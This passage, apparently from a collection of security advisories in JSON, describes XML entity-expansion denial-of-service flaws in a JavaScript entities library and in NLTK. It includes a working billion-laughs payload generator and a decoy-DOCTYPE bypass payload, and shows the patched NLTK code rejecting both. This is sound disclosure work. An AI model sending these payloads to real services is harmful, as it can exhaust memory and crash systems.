Each declaration passes its entities to `@nodable/entities` through `addInputEntities()`.\n\n`addInputEntities()` resets the entity expansion counters every time it is called. An attacker can therefore insert additional DOCTYPE declarations to repeatedly reset maxTotalExpansions and maxExpandedLength during one parse operation.\n\nThis allows a crafted XML document to exceed the configured entity-expansion limits and can cause excessive CPU use, event-loop blocking, memory exhaustion, and process termination.\n\n### Workarounds\n- Manually check if multiple DOCTYPEs are not present in input contents\n- Update to v5.10.1\n- Keep `processEntity` flag off",

  "details": "Several XML parsing sites in NLTK still used `xml.etree.ElementTree` directly, which honours `\u003c!ENTITY\u003e` declarations in a document\u0027s internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.\n\nAffected call sites (\u003c= 3.10.2):\n- `nltk.chunk.named_entity.load_ace_file` \u2014 parses ACE annotation XML\n- `nltk.internals.ElementWrapper` \u2014 converts any given string to an Element\n- `nltk.downloader` \u2014 `Package.fromxml`, `Collection.fromxml`, `_find_collections`, `_find_packages`\n\nlibexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.\n\nThis completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new `nltk.xmlsec` module that refuses entity declarations, preferring `defusedxml` and falling back to a standard-library `xml.parsers.expat` pre-scan when defusedxml is absent.\n\n---\n\n## Attack demonstration\n\nReproducible PoC against a real affected entry point (`nltk.internals.ElementWrapper`). Every number below is captured output, not illustrative.\n\n### 1. The amplification (vulnerable path: raw `xml.etree.ElementTree`)\n\nA payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:\n\n| levels | input bytes | expanded bytes | factor |\n|--------|-------------|----------------|--------|\n| 3 | 218 | 10,000 | x45 |\n| 4 | 274 | 100,000 | x364 |\n| 5 | 330 | 1,000,000 | x3,030 |\n| 6 | 386 | (libexpat 2.7.1 cap trips) | - |\n\nThe level-6 cap is **libexpat\u0027s**, not NLTK\u0027s: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold \u2014 up to ~1 MB per parse here \u2014 expansion always succeeds.\n\n```python\nimport xml.etree.ElementTree as ET\ndef bomb(levels):\n    d = \"\\n\".join(f\u0027\u003c!ENTITY e{i} \"{(\"\u0026e%d;\"%(i-1))*10}\"\u003e\u0027 for i in range(1, levels+1))\n    return f\u0027\u003c!DOCTYPE d [\u003c!ENTITY e0 \"AAAAAAAAAA\"\u003e{d}]\u003e\u003cd\u003e\u0026e{levels};\u003c/d\u003e\u0027\nET.fromstring(bomb(5))   # -\u003e element whose .text is 1,000,000 chars\n```\n\n### 2. The patched entry point rejects it\n\n```\n\u003e\u003e\u003e from nltk.internals import ElementWrapper\n\u003e\u003e\u003e ElementWrapper(bomb(5))\nEntitiesForbidden: EntitiesForbidden(name=\u0027e0\u0027, ...)\n```\n\n### 3. Why a text-based screen is not enough\n\nAn entity declaration can hide behind a decoy `\u003c!DOCTYPE\u003e` in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:\n\n```python\nevil = \u0027\u003c!-- \u003c!DOCTYPE x [ ] \u003e --\u003e\u003c!DOCTYPE d [\u003c!ENTITY a \"PPPP...\"\u003e]\u003e\u003cd\u003e\u0026a;\u003c/d\u003e\u0027\n```\n\n```\nraw ElementTree -\u003e EXPANDS (\u0027PPPPPPPPPPPP...\u0027, 40 chars)\nnltk.xmlsec     -\u003e REJECTED (EntitiesForbidden)\n```\n\nAn earlier draft of the fallback that walked the text **was** bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray `]` inside a PI in the internal subset). All five are now regression tests.\n\n### 4. Both back ends block it\n\n`nltk.xmlsec` prefers `defusedxml` and falls back to a stdlib `xml.parsers.expat` pre-scan. Same payloads, defusedxml hidden to force the fallback:\n\n```\nstdlib fallback | billion-laughs               -\u003e REJECTED (EntitiesForbidden)\nstdlib fallback | comment-decoy differential   -\u003e REJECTED (EntitiesForbidden)\n```\n\nEnvironment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK\u0027s floor).",
